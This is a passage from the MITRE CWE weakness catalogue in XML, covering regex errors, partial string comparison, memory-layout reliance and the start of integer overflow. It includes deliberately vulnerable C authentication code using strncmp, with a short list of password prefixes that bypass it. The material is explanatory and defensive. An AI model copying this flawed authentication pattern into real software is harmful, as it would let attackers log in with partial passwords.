         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 10, &#34;Using Regular Expressions for Checking Input&#34; Page 350"/>
         </References>
         <Notes>
            <Note Type="Relationship">While there is some overlap with allowlist/denylist problems, this entry is intended to deal with incorrectly written regular expressions, regardless of their intended use. Not every regular expression is intended for use as an allowlist or denylist. In addition, allowlists and denylists can be implemented using other mechanisms besides regular expressions.</Note>
            <Note Type="Research Gap">Regexp errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Regular Expression Error</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="186" Name="Overly Restrictive Regular Expression" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A regular expression is overly restrictive, which prevents dangerous values from being detected.</Description>
          <Extended_Description>This weakness is not about regular expression complexity. Rather, it is about a regular expression that does not match all values that are intended. Consider the use of a regexp to identify acceptable values or to spot unwanted terms. An overly restrictive regexp misses some potentially security-relevant values leading to either false positives *or* false negatives, depending on how the regexp is being used within the code. Consider the expression /[0-8]/ where the intention was /[0-9]/.  This expression is not "complex" but the value "9" is not matched when maybe the programmer planned to check for it.</Extended_Description>
        <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="185" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="184" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="183" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject your regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor your regular expression.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1604</Reference>
               <Description>MIE. ".php.ns" bypasses ".php$" regexp but is still parsed as PHP by Apache. (manipulates an equivalence property under Apache)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1604</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Overly Restrictive Regular Expression</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Can overlap allowlist/denylist errors (CWE-183/CWE-184)</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="187" Name="Partial String Comparison" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.</Description>
         <Extended_Description>For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1023" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Access Control</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>char *username = "admin";<xhtml:br/>char *pass = "password";<xhtml:br/>
                     <xhtml:br/>int AuthenticateUser(char *inUser, char *inPass) {<xhtml:div style="margin-left:1em;">if (strncmp(username, inUser, strlen(inUser))) {<xhtml:div style="margin-left:1em;">logEvent("Auth failure of username using strlen of inUser");<xhtml:br/>return(AUTH_FAIL);</xhtml:div>}<xhtml:br/>if (! strncmp(pass, inPass, strlen(inPass))) {<xhtml:div style="margin-left:1em;">logEvent("Auth success of password using strlen of inUser");<xhtml:br/>return(AUTH_SUCCESS);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">logEvent("Auth fail of password using sizeof");<xhtml:br/>return(AUTH_FAIL);</xhtml:div>}</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int authResult;<xhtml:br/>
                           <xhtml:br/>if (argc &lt; 3) {<xhtml:div style="margin-left:1em;">ExitError("Usage: Provide a username and password");</xhtml:div>}<xhtml:br/>authResult = AuthenticateUser(argv[1], argv[2]);<xhtml:br/>if (authResult == AUTH_SUCCESS) {<xhtml:div style="margin-left:1em;">DoAuthenticatedTask(argv[1]);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">ExitError("Authentication failed");</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.</Body_Text>
               <Body_Text>As a result, this partial comparison leads to improper authentication (CWE-287).</Body_Text>
               <Body_Text>Any of these passwords would still cause authentication to succeed for the "admin" user:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>p<xhtml:br/>pa<xhtml:br/>pas<xhtml:br/>pass</xhtml:div>
               </Example_Code>
               <Body_Text>This significantly reduces the search space for an attacker, making brute force attacks more feasible.</Body_Text>
               <Body_Text>The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.</Body_Text>
               <Body_Text>While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2014-6394</Reference>
               <Description>Product does not prevent access to restricted directories due to partial string comparison with a public directory</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-6394</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1012</Reference>
               <Description>Argument parser of an IMAP server treats a partial command "body[p" as if it is "body.peek", leading to index error and out-of-bounds corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1012</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0765</Reference>
               <Description>Web browser only checks the hostname portion of a certificate when the hostname portion of the URI is not a fully qualified domain name (FQDN), which allows remote attackers to spoof trusted certificates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0765</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1374</Reference>
               <Description>One-character password by attacker checks only against first character of real password.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1374</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0979</Reference>
               <Description>One-character password by attacker checks only against first character of real password.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0979</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Partial Comparison</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This is conceptually similar to other weaknesses, such as insufficient verification and regular expression errors. It is primary to some weaknesses.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Name, Observed_Examples, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2018-03-27">Partial Comparison</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="188" Name="Reliance on Data/Memory Layout" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.</Description>
         <Extended_Description>
            <xhtml:p>When changing platforms or protocol versions, in-memory organization of data may change in unintended ways. For example, some architectures may place local variables A and B right next to each other with A on top; some may place them next to each other with B on top; and others may add some padding to each. The padding size may vary to ensure that each variable is aligned to a proper word size.</xhtml:p>
            <xhtml:p>In protocol implementations, it is common to calculate an offset relative to another field to pick out a specific piece of data. Exceptional conditions, often involving new protocol versions, may add corner cases that change the data layout in an unusual way. The result can be that an implementation accesses an unintended field in the packet, treating data of one type as data of another type.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1105" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="435" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Read Memory</Impact>
               <Note>Can result in unintended modifications or exposure of sensitive memory.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>In flat address space situations, never allow computing memory addresses as offsets from another memory address.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Testing: Test that the implementation properly handles each case in the protocol grammar.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example function, the memory address of variable b is derived by adding 1 to the address of variable a. This derived address is then used to assign the value 0 to b.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void example() {<xhtml:div style="margin-left:1em;">char a;<xhtml:br/>char b;<xhtml:br/>*(&amp;a + 1) = 0;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they are aligned on 32-bit boundaries.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Reliance on data layout</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Structure Padding&#34;, Page 284"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Reliance on Data Layout</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="190" Name="Integer Overflow or Wraparound" Abstraction="Base" Structure="Simple" Status="Stable">
         <Description>The product performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.</Description>
         <Extended_Description>An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000" Chain_ID="680"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Instability</Impact>
               <Note>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
